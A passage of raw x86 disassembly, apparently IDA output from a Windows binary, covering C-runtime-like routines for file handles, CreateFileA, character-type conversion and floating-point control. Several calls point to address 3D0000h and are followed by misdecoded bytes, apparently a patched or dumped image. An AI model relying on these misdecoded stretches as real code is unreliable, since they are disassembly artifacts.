eax, eax jz short loc_41D224 mov eax, esi jmp short loc_41D241 ; --------------------------------------------------------------------------- loc_41D224: ; CODE XREF: seg000:0041D21Ej lea eax, [ebp-1Ch] push eax push esi push offset dword_438FB4 push esi push ebx call near ptr 3D0000h mov [ebp-317BF040h], eax ; --------------------------------------------------------------------------- db 0 dd 26A0000h ; --------------------------------------------------------------------------- pop eax loc_41D241: ; CODE XREF: seg000:0041D222j mov ds:dword_469638, eax loc_41D246: ; CODE XREF: seg000:0041D206j cmp eax, 2 jnz short loc_41D26F mov eax, [ebp+1Ch] cmp eax, ebx jnz short loc_41D257 mov eax, ds:dword_469508 loc_41D257: ; CODE XREF: seg000:0041D250j push dword ptr [ebp+14h] push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push dword ptr [ebp+8] push eax call near ptr 3D0000h in al, 0E9h lahf ; --------------------------------------------------------------------------- db 3 dup(0) ; --------------------------------------------------------------------------- loc_41D26F: ; CODE XREF: seg000:0041D249j cmp eax, 1 jnz loc_41D30C cmp [ebp+18h], ebx jnz short loc_41D285 mov eax, ds:dword_469518 mov [ebp+18h], eax loc_41D285: ; CODE XREF: seg000:0041D27Bj push ebx push ebx push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] mov eax, [ebp+20h] neg eax sbb eax, eax and eax, 8 inc eax push eax push dword ptr [ebp+18h] call ds:dword_421064 ; MultiByteToWideChar mov [ebp-20h], eax cmp eax, ebx jz short loc_41D30C mov [ebp-4], ebx lea edi, [eax+eax] mov eax, edi add eax, 3 and al, 0FCh call sub_415D50 mov [ebp-18h], esp mov esi, esp mov [ebp-24h], esi push edi push ebx push esi call sub_415550 add esp, 0Ch jmp short loc_41D2DB ; --------------------------------------------------------------------------- push 1 pop eax retn ; --------------------------------------------------------------------------- mov esp, [ebp-18h] xor ebx, ebx xor esi, esi loc_41D2DB: ; CODE XREF: seg000:0041D2CEj or dword ptr [ebp-4], 0FFFFFFFFh cmp esi, ebx jz short loc_41D30C push dword ptr [ebp-20h] push esi push dword ptr [ebp+10h] push dword ptr [ebp+0Ch] push 1 push dword ptr [ebp+18h] call ds:dword_421064 ; MultiByteToWideChar cmp eax, ebx jz short loc_41D30C push dword ptr [ebp+14h] push eax push esi push dword ptr [ebp+8] call ds:dword_421028 ; GetStringTypeW jmp short loc_41D30E ; --------------------------------------------------------------------------- loc_41D30C: ; CODE XREF: seg000:0041D272j ; seg000:0041D2A7j ... xor eax, eax loc_41D30E: ; CODE XREF: seg000:0041D30Aj lea esp, [ebp-34h] mov ecx, [ebp-10h] mov large fs:0, ecx pop edi pop esi pop ebx leave retn ; =============== S U B R O U T I N E ======================================= sub_41D320 proc near ; CODE XREF: sub_41D53A:loc_41D6B2p push ebx push esi push edi or ebx, 0FFFFFFFFh xor edi, edi xor esi, esi mov ecx, offset dword_46A7A0 loc_41D32F: ; CODE XREF: sub_41D320+48j mov eax, [ecx] test eax, eax jz short loc_41D36C lea edx, [eax+100h] loc_41D33B: ; CODE XREF: sub_41D320+28j cmp eax, edx jnb short loc_41D35B test byte ptr [eax+4], 1 jz short loc_41D34A add eax, 8 jmp short loc_41D33B ; --------------------------------------------------------------------------- loc_41D34A: ; CODE XREF: sub_41D320+23j or dword ptr [eax], 0FFFFFFFFh sub eax, [ecx] sar eax, 3 add eax, esi mov ebx, eax cmp ebx, 0FFFFFFFFh jnz short loc_41D3AF loc_41D35B: ; CODE XREF: sub_41D320+1Dj add ecx, 4 inc edi add esi, 20h cmp ecx, offset dword_46A8A0 jl short loc_41D32F jmp short loc_41D3AF ; --------------------------------------------------------------------------- loc_41D36C: ; CODE XREF: sub_41D320+13j mov esi, 100h push esi call sub_415DA9 test eax, eax pop ecx jz short loc_41D3AF add ds:dword_46A8A0, 20h lea ecx, ds:46A7A0h[edi*4] lea edx, [eax+100h] mov [ecx], eax loc_41D392: ; CODE XREF: sub_41D320+88j cmp eax, edx jnb short loc_41D3AA and byte ptr [eax+4], 0 or dword ptr [eax], 0FFFFFFFFh mov byte ptr [eax+5], 0Ah mov edx, [ecx] add eax, 8 add edx, esi jmp short loc_41D392 ; --------------------------------------------------------------------------- loc_41D3AA: ; CODE XREF: sub_41D320+74j shl edi, 5 mov ebx, edi loc_41D3AF: ; CODE XREF: sub_41D320+39j ; sub_41D320+4Aj ... pop edi mov eax, ebx pop esi pop ebx retn sub_41D320 endp ; --------------------------------------------------------------------------- loc_41D3B5: ; CODE XREF: sub_41D53A+1F4p mov eax, [esp+4] push esi cmp eax, ds:dword_46A8A0 push edi jnb short loc_41D415 mov ecx, eax mov esi, eax sar ecx, 5 and esi, 1Fh lea edi, ds:46A7A0h[ecx*4] shl esi, 3 mov ecx, [edi] cmp dword ptr [ecx+esi], 0FFFFFFFFh jnz short loc_41D415 cmp ds:dword_437D44, 1 push ebx mov ebx, [esp+14h] jnz short near ptr loc_41D40A+1 sub eax, 0 jz short loc_41D402 dec eax jz short loc_41D3FD dec eax jnz short near ptr loc_41D40A+1 push ebx push 0FFFFFFF4h jmp short loc_41D405 ; --------------------------------------------------------------------------- loc_41D3FD: ; CODE XREF: seg000:0041D3F3j push ebx push 0FFFFFFF5h jmp short loc_41D405 ; --------------------------------------------------------------------------- loc_41D402: ; CODE XREF: seg000:0041D3F0j push ebx push 0FFFFFFF6h loc_41D405: ; CODE XREF: seg000:0041D3FBj ; seg000:0041D400j call near ptr 3D0000h loc_41D40A: ; CODE XREF: seg000:0041D3EBj ; seg000:0041D3F6j test [ebx+301C8907h], cl xor eax, eax pop ebx jmp short loc_41D429 ; --------------------------------------------------------------------------- loc_41D415: ; CODE XREF: seg000:0041D3C1j ; seg000:0041D3DDj and ds:dword_469478, 0 mov ds:dword_469474, 9 or eax, 0FFFFFFFFh loc_41D429: ; CODE XREF: seg000:0041D413j pop edi pop esi retn ; =============== S U B R O U T I N E ======================================= sub_41D42C proc near ; CODE XREF: sub_4185AB+7Cp arg_0 = dword ptr 4 mov ecx, [esp+arg_0] push esi cmp ecx, ds:dword_46A8A0 push edi jnb short loc_41D48F mov eax, ecx mov esi, ecx sar eax, 5 and esi, 1Fh lea edi, ds:46A7A0h[eax*4] shl esi, 3 mov eax, [edi] add eax, esi test byte ptr [eax+4], 1 jz short loc_41D48F cmp dword ptr [eax], 0FFFFFFFFh jz short loc_41D48F cmp ds:dword_437D44, 1 jnz short near ptr loc_41D484+1 xor eax, eax sub ecx, eax jz short loc_41D47C dec ecx jz short loc_41D477 dec ecx jnz short near ptr loc_41D484+1 push eax push 0FFFFFFF4h jmp short loc_41D47F ; --------------------------------------------------------------------------- loc_41D477: ; CODE XREF: sub_41D42C+41j push eax push 0FFFFFFF5h jmp short loc_41D47F ; --------------------------------------------------------------------------- loc_41D47C: ; CODE XREF: sub_41D42C+3Ej push eax push 0FFFFFFF6h loc_41D47F: ; CODE XREF: sub_41D42C+49j ; sub_41D42C+4Ej call near ptr 3D0000h loc_41D484: ; CODE XREF: sub_41D42C+38j ; sub_41D42C+44j add ecx, [ebx+300C8307h] push dword ptr [ebx] shr bl, 14h loc_41D48F: ; CODE XREF: sub_41D42C+Cj ; sub_41D42C+2Aj ... and ds:dword_469478, 0 mov ds:dword_469474, 9 or eax, 0FFFFFFFFh pop edi pop esi retn sub_41D42C endp ; =============== S U B R O U T I N E ======================================= sub_41D4A6 proc near ; CODE XREF: sub_4185AB+32p ; sub_4185AB+49p ... arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_46A8A0 jnb short loc_41D4CE mov ecx, eax and eax, 1Fh sar ecx, 5 mov ecx, ds:dword_46A7A0[ecx*4] test byte ptr [ecx+eax*8+4], 1 lea eax, [ecx+eax*8] jz short loc_41D4CE mov eax, [eax] retn ; --------------------------------------------------------------------------- loc_41D4CE: ; CODE XREF: sub_41D4A6+Aj ; sub_41D4A6+23j and ds:dword_469478, 0 mov ds:dword_469474, 9 or eax, 0FFFFFFFFh retn sub_41D4A6 endp ; =============== S U B R O U T I N E ======================================= sub_41D4E3 proc near ; CODE XREF: sub_418689+2Bp arg_0 = dword ptr 4 mov eax, [esp+arg_0] cmp eax, ds:dword_46A8A0 jnb short loc_41D52C mov ecx, eax mov edx, eax sar ecx, 5 and edx, 1Fh mov ecx, ds:dword_46A7A0[ecx*4] test byte ptr [ecx+edx*8+4], 1 jz short loc_41D52C push eax call sub_41D4A6 pop ecx push eax call near ptr 3D0000h xchg al, [ebp-0F78A40h] adc eax, offset dword_421088 jmp short loc_41D523 ; --------------------------------------------------------------------------- xor eax, eax loc_41D523: ; CODE XREF: sub_41D4E3+3Cj test eax, eax jz short locret_41D539 mov ds:dword_469478, eax loc_41D52C: ; CODE XREF: sub_41D4E3+Aj ; sub_41D4E3+22j mov ds:dword_469474, 9 or eax, 0FFFFFFFFh locret_41D539: ; CODE XREF: sub_41D4E3+42j retn sub_41D4E3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D53A proc near ; CODE XREF: sub_418860+13Fp var_1C = dword ptr -1Ch var_18 = dword ptr -18h var_14 = dword ptr -14h var_10 = dword ptr -10h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_1 = byte ptr -1 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h arg_C = dword ptr 14h arg_13 = byte ptr 1Bh push ebp mov ebp, esp sub esp, 1Ch mov ecx, [ebp+arg_4] push ebx xor ebx, ebx push esi test cl, 80h push edi mov [ebp+var_1C], 0Ch mov [ebp+var_18], ebx jz short loc_41D560 mov [ebp+var_14], ebx mov [ebp+var_1], 10h jmp short loc_41D56B ; --------------------------------------------------------------------------- loc_41D560: ; CODE XREF: sub_41D53A+1Bj and [ebp+var_1], 0 mov [ebp+var_14], 1 loc_41D56B: ; CODE XREF: sub_41D53A+24j mov eax, 8000h test ecx, eax jnz short loc_41D585 test ch, 40h jnz short loc_41D581 cmp ds:dword_469740, eax jz short loc_41D585 loc_41D581: ; CODE XREF: sub_41D53A+3Dj or [ebp+var_1], 80h loc_41D585: ; CODE XREF: sub_41D53A+38j ; sub_41D53A+45j push 3 mov eax, ecx pop esi and eax, esi sub eax, ebx jz short loc_41D5BD dec eax jz short loc_41D5B4 dec eax jz short loc_41D5AB loc_41D596: ; CODE XREF: sub_41D53A+9Fj ; sub_41D53A+E8j ... mov ds:dword_469474, 16h mov ds:dword_469478, ebx jmp loc_41D7D0 ; --------------------------------------------------------------------------- loc_41D5AB: ; CODE XREF: sub_41D53A+5Aj mov [ebp+var_C], 0C0000000h jmp short loc_41D5C4 ; --------------------------------------------------------------------------- loc_41D5B4: ; CODE XREF: sub_41D53A+57j mov [ebp+var_C], 40000000h jmp short loc_41D5C4 ; --------------------------------------------------------------------------- loc_41D5BD: ; CODE XREF: sub_41D53A+54j mov [ebp+var_C], 80000000h loc_41D5C4: ; CODE XREF: sub_41D53A+78j ; sub_41D53A+81j mov eax, [ebp+arg_8] cmp eax, 10h jz short loc_41D5F2 cmp eax, 20h jz short loc_41D5E9 cmp eax, 30h jz short loc_41D5E0 cmp eax, 40h jnz short loc_41D596 mov [ebp+var_10], esi jmp short loc_41D5F5 ; --------------------------------------------------------------------------- loc_41D5E0: ; CODE XREF: sub_41D53A+9Aj mov [ebp+var_10], 2 jmp short loc_41D5F5 ; --------------------------------------------------------------------------- loc_41D5E9: ; CODE XREF: sub_41D53A+95j mov [ebp+var_10], 1 jmp short loc_41D5F5 ; --------------------------------------------------------------------------- loc_41D5F2: ; CODE XREF: sub_41D53A+90j mov [ebp+var_10], ebx loc_41D5F5: ; CODE XREF: sub_41D53A+A4j ; sub_41D53A+ADj ... mov edx, 700h mov eax, 400h and ecx, edx mov edi, 100h cmp ecx, eax jg short loc_41D63F jz short loc_41D63A cmp ecx, ebx jz short loc_41D63A cmp ecx, edi jz short loc_41D631 cmp ecx, 200h jz short loc_41D658 cmp ecx, 300h jnz loc_41D596 mov [ebp+var_8], 2 jmp short loc_41D668 ; --------------------------------------------------------------------------- loc_41D631: ; CODE XREF: sub_41D53A+D8j mov [ebp+var_8], 4 jmp short loc_41D668 ; --------------------------------------------------------------------------- loc_41D63A: ; CODE XREF: sub_41D53A+D0j ; sub_41D53A+D4j mov [ebp+var_8], esi jmp short loc_41D668 ; --------------------------------------------------------------------------- loc_41D63F: ; CODE XREF: sub_41D53A+CEj cmp ecx, 500h jz short loc_41D661 cmp ecx, 600h jz short loc_41D658 cmp ecx, edx jz short loc_41D661 jmp loc_41D596 ; --------------------------------------------------------------------------- loc_41D658: ; CODE XREF: sub_41D53A+E0j ; sub_41D53A+113j mov [ebp+var_8], 5 jmp short loc_41D668 ; --------------------------------------------------------------------------- loc_41D661: ; CODE XREF: sub_41D53A+10Bj ; sub_41D53A+117j mov [ebp+var_8], 1 loc_41D668: ; CODE XREF: sub_41D53A+F5j ; sub_41D53A+FEj ... mov eax, [ebp+arg_4] mov esi, 80h test eax, edi jz short loc_41D687 mov ecx, ds:dword_46947C not ecx and ecx, [ebp+arg_C] test cl, 80h jnz short loc_41D687 push 1 pop esi loc_41D687: ; CODE XREF: sub_41D53A+138j ; sub_41D53A+148j test al, 40h jz short loc_41D695 or esi, 4000000h or byte ptr [ebp+var_C+2], 1 loc_41D695: ; CODE XREF: sub_41D53A+14Fj test ah, 10h jz short loc_41D69C or esi, edi loc_41D69C: ; CODE XREF: sub_41D53A+15Ej test al, 20h jz short loc_41D6A8 or esi, 8000000h jmp short loc_41D6B2 ; --------------------------------------------------------------------------- loc_41D6A8: ; CODE XREF: sub_41D53A+164j test al, 10h jz short loc_41D6B2 or esi, 10000000h loc_41D6B2: ; CODE XREF: sub_41D53A+16Cj ; sub_41D53A+170j call sub_41D320 mov ebx, eax or edi, 0FFFFFFFFh cmp ebx, edi jnz short loc_41D6D3 and ds:dword_469478, 0 mov ds:dword_469474, 18h jmp short loc_41D711 ; --------------------------------------------------------------------------- loc_41D6D3: ; CODE XREF: sub_41D53A+184j push 0 push esi push [ebp+var_8] lea eax, [ebp+var_1C] push eax push [ebp+var_10] push [ebp+var_C] push [ebp+arg_0] call ds:dword_421078 ; CreateFileA mov esi, eax cmp esi, edi jz short loc_41D704 push esi call near ptr 3D0000h in eax, 85h sal [ebp+arg_13], 56h call ds:dword_42106C ; CloseHandle loc_41D704: ; CODE XREF: sub_41D53A+1B6j call ds:dword_421088 ; RtlGetLastWin32Error push eax call sub_41C5B7 pop ecx loc_41D711: ; CODE XREF: sub_41D53A+197j mov eax, edi jmp loc_41D7EE ; --------------------------------------------------------------------------- cmp eax, 2 jnz short loc_41D723 or [ebp+var_1], 40h jmp short loc_41D72C ; --------------------------------------------------------------------------- loc_41D723: ; CODE XREF: sub_41D53A+1E1j cmp eax, 3 jnz short loc_41D72C or [ebp+var_1], 8 loc_41D72C: ; CODE XREF: sub_41D53A+1E7j ; sub_41D53A+1ECj push esi push ebx call loc_41D3B5 pop ecx mov al, [ebp+var_1] pop ecx mov esi, ebx mov ecx, ebx or al, 1 sar ecx, 5 and esi, 1Fh mov byte ptr [ebp+arg_0+3], al lea edi, ds:46A7A0h[ecx*4] shl esi, 3 mov ecx, [edi] and byte ptr [ebp+arg_0+3], 48h mov [ecx+esi+4], al jnz short loc_41D7D5 test al, 80h jz short loc_41D7D5 test byte ptr [ebp+arg_4], 2 jz short loc_41D7D5 push 2 push 0FFFFFFFFh push ebx call sub_41BB5F add esp, 0Ch cmp eax, 0FFFFFFFFh mov [ebp+var_10], eax jnz short loc_41D78A cmp ds:dword_469478, 83h jz short loc_41D7D5 jmp short loc_41D7C9 ; --------------------------------------------------------------------------- loc_41D78A: ; CODE XREF: sub_41D53A+240j and byte ptr [ebp+arg_8+3], 0 lea eax, [ebp+arg_8+3] push 1 push eax push ebx call sub_41B969 add esp, 0Ch test eax, eax jnz short loc_41D7B7 cmp byte ptr [ebp+arg_8+3], 1Ah jnz short loc_41D7B7 push [ebp+var_10] push ebx call sub_41E82C pop ecx cmp eax, 0FFFFFFFFh pop ecx jz short loc_41D7C9 loc_41D7B7: ; CODE XREF: sub_41D53A+265j ; sub_41D53A+26Bj push 0 push 0 push ebx call sub_41BB5F add esp, 0Ch cmp eax, 0FFFFFFFFh jnz short loc_41D7D5 loc_41D7C9: ; CODE XREF: sub_41D53A+24Ej ; sub_41D53A+27Bj push ebx call sub_4185AB pop ecx loc_41D7D0: ; CODE XREF: sub_41D53A+6Cj or eax, 0FFFFFFFFh jmp short loc_41D7EE ; --------------------------------------------------------------------------- loc_41D7D5: ; CODE XREF: sub_41D53A+221j ; sub_41D53A+225j ... cmp byte ptr [ebp+arg_0+3], 0 jnz short loc_41D7EC test byte ptr [ebp+arg_4], 8 jz short loc_41D7EC mov eax, [edi] or byte ptr [eax+esi+4], 20h lea eax, [eax+esi+4] loc_41D7EC: ; CODE XREF: sub_41D53A+29Fj ; sub_41D53A+2A5j mov eax, ebx loc_41D7EE: ; CODE XREF: sub_41D53A+1D9j ; sub_41D53A+299j pop edi pop esi pop ebx leave retn sub_41D53A endp ; =============== S U B R O U T I N E ======================================= sub_41D7F3 proc near ; CODE XREF: sub_419B93+52p xor eax, eax retn sub_41D7F3 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D7F6 proc near ; CODE XREF: sub_41D82B+Ep var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push esi fstcw word ptr [ebp+var_4] push [ebp+var_4] call sub_41D841 mov esi, eax mov eax, [ebp+arg_4] not eax and esi, eax mov eax, [ebp+arg_0] and eax, [ebp+arg_4] or esi, eax push esi call sub_41D8D3 pop ecx mov [ebp+arg_4], eax pop ecx fldcw word ptr [ebp+arg_4] mov eax, esi pop esi leave retn sub_41D7F6 endp ; =============== S U B R O U T I N E ======================================= sub_41D82B proc near ; CODE XREF: sub_419E7F+Ap arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] and eax, 0FFF7FFFFh push eax push [esp+4+arg_0] call sub_41D7F6 pop ecx pop ecx retn sub_41D82B endp ; =============== S U B R O U T I N E ======================================= sub_41D841 proc near ; CODE XREF: sub_41D7F6+Cp arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push ebp test bl, 1 push edi jz short loc_41D852 push 10h pop eax loc_41D852: ; CODE XREF: sub_41D841+Cj test bl, 4 jz short loc_41D859 or al, 8 loc_41D859: ; CODE XREF: sub_41D841+14j test bl, 8 jz short loc_41D860 or al, 4 loc_41D860: ; CODE XREF: sub_41D841+1Bj test bl, 10h jz short loc_41D867 or al, 2 loc_41D867: ; CODE XREF: sub_41D841+22j test bl, 20h jz short loc_41D86E or al, 1 loc_41D86E: ; CODE XREF: sub_41D841+29j test bl, 2 jz short loc_41D878 or eax, 80000h loc_41D878: ; CODE XREF: sub_41D841+30j movzx ecx, bx push esi mov edx, ecx mov esi, 0C00h mov edi, 300h and edx, esi mov ebp, 200h jz short loc_41D8B0 cmp edx, 400h jz short loc_41D8AD cmp edx, 800h jz short loc_41D8A9 cmp edx, esi jnz short loc_41D8B0 or eax, edi jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D8A9: ; CODE XREF: sub_41D841+5Ej or eax, ebp jmp short loc_41D8B0 ; --------------------------------------------------------------------------- loc_41D8AD: ; CODE XREF: sub_41D841+56j or ah, 1 loc_41D8B0: ; CODE XREF: sub_41D841+4Ej ; sub_41D841+62j ... and ecx, edi pop esi jz short loc_41D8C0 cmp ecx, ebp jnz short loc_41D8C5 or eax, 10000h jmp short loc_41D8C5 ; --------------------------------------------------------------------------- loc_41D8C0: ; CODE XREF: sub_41D841+72j or eax, 20000h loc_41D8C5: ; CODE XREF: sub_41D841+76j ; sub_41D841+7Dj pop edi pop ebp test bh, 10h pop ebx jz short locret_41D8D2 or eax, 40000h locret_41D8D2: ; CODE XREF: sub_41D841+8Aj retn sub_41D841 endp ; =============== S U B R O U T I N E ======================================= sub_41D8D3 proc near ; CODE XREF: sub_41D7F6+23p arg_0 = dword ptr 4 push ebx mov ebx, [esp+4+arg_0] xor eax, eax push esi test bl, 10h jz short loc_41D8E3 push 1 pop eax loc_41D8E3: ; CODE XREF: sub_41D8D3+Bj test bl, 8 jz short loc_41D8EA or al, 4 loc_41D8EA: ; CODE XREF: sub_41D8D3+13j test bl, 4 jz short loc_41D8F1 or al, 8 loc_41D8F1: ; CODE XREF: sub_41D8D3+1Aj test bl, 2 jz short loc_41D8F8 or al, 10h loc_41D8F8: ; CODE XREF: sub_41D8D3+21j test bl, 1 jz short loc_41D8FF or al, 20h loc_41D8FF: ; CODE XREF: sub_41D8D3+28j test ebx, 80000h jz short loc_41D909 or al, 2 loc_41D909: ; CODE XREF: sub_41D8D3+32j mov ecx, ebx mov edx, 300h and ecx, edx mov esi, 200h jz short loc_41D936 cmp ecx, 100h jz short loc_41D933 cmp ecx, esi jz short loc_41D92E cmp ecx, edx jnz short loc_41D936 or ah, 0Ch jmp short loc_41D936 ; --------------------------------------------------------------------------- loc_41D92E: ; CODE XREF: sub_41D8D3+50j or ah, 8 jmp short loc_41D936 ; --------------------------------------------------------------------------- loc_41D933: ; CODE XREF: sub_41D8D3+4Cj or ah, 4 loc_41D936: ; CODE XREF: sub_41D8D3+44j ; sub_41D8D3+54j ... mov ecx, ebx and ecx, 30000h jz short loc_41D94C cmp ecx, 10000h jnz short loc_41D94E or eax, esi jmp short loc_41D94E ; --------------------------------------------------------------------------- loc_41D94C: ; CODE XREF: sub_41D8D3+6Bj or eax, edx loc_41D94E: ; CODE XREF: sub_41D8D3+73j ; sub_41D8D3+77j pop esi test ebx, 40000h pop ebx jz short locret_41D95B or ah, 10h locret_41D95B: ; CODE XREF: sub_41D8D3+83j retn sub_41D8D3 endp ; =============== S U B R O U T I N E ======================================= sub_41D95C proc near ; CODE XREF: sub_41D9FB+48p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push esi push 20h cdq pop ecx idiv ecx push 1Fh mov esi, eax mov eax, [esp+8+arg_4] cdq idiv ecx pop ecx mov eax, [esp+4+arg_0] sub ecx, edx or edx, 0FFFFFFFFh shl edx, cl not edx test [eax+esi*4], edx jnz short loc_41D9A1 inc esi cmp esi, 3 jge short loc_41D99C lea eax, [eax+esi*4] loc_41D98E: ; CODE XREF: sub_41D95C+3Ej cmp dword ptr [eax], 0 jnz short loc_41D9A1 inc esi add eax, 4 cmp esi, 3 jl short loc_41D98E loc_41D99C: ; CODE XREF: sub_41D95C+2Dj push 1 pop eax pop esi retn ; --------------------------------------------------------------------------- loc_41D9A1: ; CODE XREF: sub_41D95C+27j ; sub_41D95C+35j xor eax, eax pop esi retn sub_41D95C endp ; =============== S U B R O U T I N E ======================================= sub_41D9A5 proc near ; CODE XREF: sub_41D9FB+57p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] push ebx push esi push edi push 20h mov ebx, [esp+10h+arg_0] cdq pop ecx idiv ecx mov esi, eax mov eax, [esp+0Ch+arg_4] cdq idiv ecx lea edi, [ebx+esi*4] push edi push 1Fh pop ecx push 1 pop eax sub ecx, edx shl eax, cl push eax push dword ptr [edi] call sub_41E972 add esp, 0Ch dec esi js short loc_41D9F7 lea edi, [ebx+esi*4] loc_41D9DE: ; CODE XREF: sub_41D9A5+50j test eax, eax jz short loc_41D9F7 push edi push 1 push dword ptr [edi] call sub_41E972 add esp, 0Ch dec esi sub edi, 4 test esi, esi jge short loc_41D9DE loc_41D9F7: ; CODE XREF: sub_41D9A5+34j ; sub_41D9A5+3Bj pop edi pop esi pop ebx retn sub_41D9A5 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41D9FB proc near ; CODE XREF: sub_41DB56+81p ; sub_41DB56+CCp var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp push ecx push ecx mov eax, [ebp+arg_4] push ebx push esi push edi lea edi, [eax-1] push 20h pop ecx and [ebp+var_4], 0 lea ebx, [edi+1] push 20h mov eax, ebx pop esi cdq idiv ecx push 1Fh mov ecx, eax mov eax, ebx cdq idiv esi mov eax, [ebp+arg_0] pop esi push 1 mov [ebp+var_8], ecx lea eax, [eax+ecx*4] mov [ebp+arg_4], eax sub esi, edx pop edx mov ecx, esi shl edx, cl test [eax], edx jz short loc_41DA5F inc ebx push ebx push [ebp+arg_0] call sub_41D95C pop ecx test eax, eax pop ecx jnz short loc_41DA5C push edi push [ebp+arg_0] call sub_41D9A5 pop ecx mov [ebp+var_4], eax pop ecx loc_41DA5C: ; CODE XREF: sub_41D9FB+51j mov eax, [ebp+arg_4] loc_41DA5F: ; CODE XREF: sub_41D9FB+41j or edx, 0FFFFFFFFh mov ecx, esi shl edx, cl push 3 pop ecx and [eax], edx mov eax, [ebp+var_8] inc eax cmp eax, ecx jge short loc_41DA7F mov edx, [ebp+arg_0] sub ecx, eax lea edi, [edx+eax*4] xor eax, eax rep stosd loc_41DA7F: ; CODE XREF: sub_41D9FB+76j mov eax, [ebp+var_4] pop edi pop esi pop ebx leave retn sub_41D9FB endp ; =============== S U B R O U T I N E ======================================= sub_41DA87 proc near ; CODE XREF: sub_41DB56+75p ; sub_41DB56+B6p arg_0 = dword ptr 4 arg_4 = dword ptr 8 mov eax, [esp+arg_4] mov ecx, [esp+arg_0] push esi push 3 sub ecx, eax pop edx loc_41DA95: ; CODE XREF: sub_41DA87+17j mov esi, [eax] mov [ecx+eax], esi add eax, 4 dec edx jnz short loc_41DA95 pop esi retn sub_41DA87 endp ; =============== S U B R O U T I N E ======================================= sub_41DAA2 proc near ; CODE XREF: sub_41DB56+5Fp ; sub_41DB56+9Ep ... arg_0 = dword ptr 4 push edi mov edi, [esp+4+arg_0] xor eax, eax stosd stosd stosd pop edi retn sub_41DAA2 endp ; =============== S U B R O U T I N E ======================================= sub_41DAAE proc near ; CODE XREF: sub_41DB56+4Dp arg_0 = dword ptr 4 mov eax, [esp+arg_0] xor ecx, ecx loc_41DAB4: ; CODE XREF: sub_41DAAE+12j cmp dword ptr [eax], 0 jnz short loc_41DAC6 inc ecx add eax, 4 cmp ecx, 3 jl short loc_41DAB4 push 1 pop eax retn ; --------------------------------------------------------------------------- loc_41DAC6: ; CODE XREF: sub_41DAAE+9j xor eax, eax retn sub_41DAAE endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DAC9 proc near ; CODE XREF: sub_41DB56+C0p ; sub_41DB56+DAp ... var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch push ebp mov ebp, esp sub esp, 0Ch mov eax, [ebp+arg_4] push ebx push esi push edi push 20h mov edi, [ebp+arg_0] pop ebx or esi, 0FFFFFFFFh cdq mov ecx, ebx mov [ebp+var_4], 3 idiv ecx mov [ebp+var_C], eax mov eax, [ebp+arg_4] cdq idiv ecx and [ebp+arg_4], 0 mov ecx, edx shl esi, cl sub ebx, edx not esi loc_41DAFF: ; CODE XREF: sub_41DAC9+58j mov eax, [edi] mov ecx, eax and ecx, esi mov [ebp+var_8], ecx mov ecx, edx shr eax, cl or eax, [ebp+arg_4] mov [edi], eax mov eax, [ebp+var_8] mov ecx, ebx add edi, 4 shl eax, cl dec [ebp+var_4] mov [ebp+arg_4], eax jnz short loc_41DAFF mov edi, [ebp+var_C] push 2 pop ebx mov esi, edi push 8 pop ecx shl esi, 2 loc_41DB31: ; CODE XREF: sub_41DAC9+86j cmp ebx, edi jl short loc_41DB44 mov edx, [ebp+arg_0] mov eax, ecx sub eax, esi mov eax, [eax+edx] mov [ecx+edx], eax jmp short loc_41DB4B ; --------------------------------------------------------------------------- loc_41DB44: ; CODE XREF: sub_41DAC9+6Aj mov eax, [ebp+arg_0] and dword ptr [ecx+eax], 0 loc_41DB4B: ; CODE XREF: sub_41DAC9+79j dec ebx sub ecx, 4 jns short loc_41DB31 pop edi pop esi pop ebx leave retn sub_41DAC9 endp ; =============== S U B R O U T I N E ======================================= ; Attributes: bp-based frame sub_41DB56 proc near ; CODE XREF: sub_41DCC2+Dp ; sub_41DCD8+Dp var_18 = byte ptr -18h var_C = dword ptr -0Ch var_8 = dword ptr -8 var_4 = dword ptr -4 arg_0 = dword ptr 8 arg_4 = dword ptr 0Ch arg_8 = dword ptr 10h push ebp mov ebp, esp sub esp, 18h mov eax, [ebp+arg_0] push ebx push esi push edi movzx ecx, word ptr [eax+0Ah] mov ebx, ecx and ecx, 8000h mov [ebp+arg_0], ecx mov ecx, [eax+6] mov [ebp+var_C], ecx mov ecx, [eax+2] movzx eax, word ptr [eax] mov edi, [ebp+arg_8] and ebx, 7FFFh sub ebx, 3FFFh mov [ebp+var_8], ecx shl eax, 10h cmp ebx, 0FFFFC001h mov [ebp+var_4], eax jnz short loc_41DBC3 lea eax, [ebp+var_C] xor esi, esi push eax call sub_41DAAE test eax, eax pop ecx jnz loc_41DC82 lea eax, [ebp+var_C] push eax call sub_41DAA2 pop ecx loc_41DBBB: ; CODE XREF: sub_41DB56+E4j push 2 loc_41DBBD: ; CODE XREF: sub_41DB56+110j pop eax jmp loc_41DC84 ; --------------------------------------------------------------------------- loc_41DBC3: ; CODE XREF: sub_41DB56+45j lea eax, [ebp+var_C] push eax lea eax, [ebp+var_18] push eax call sub_41DA87 push dword ptr [edi+8] lea eax, [ebp+var_C] push eax call sub_41D9FB add esp, 10h test eax, eax jz short loc_41DBE4 inc ebx loc_41DBE4: ; CODE XREF: sub_41DB56+8Bj mov eax, [edi+4] mov ecx, eax sub ecx, [edi+8] cmp ebx, ecx jge short loc_41DBFC lea eax, [ebp+var_C] push eax call sub_41DAA2 pop 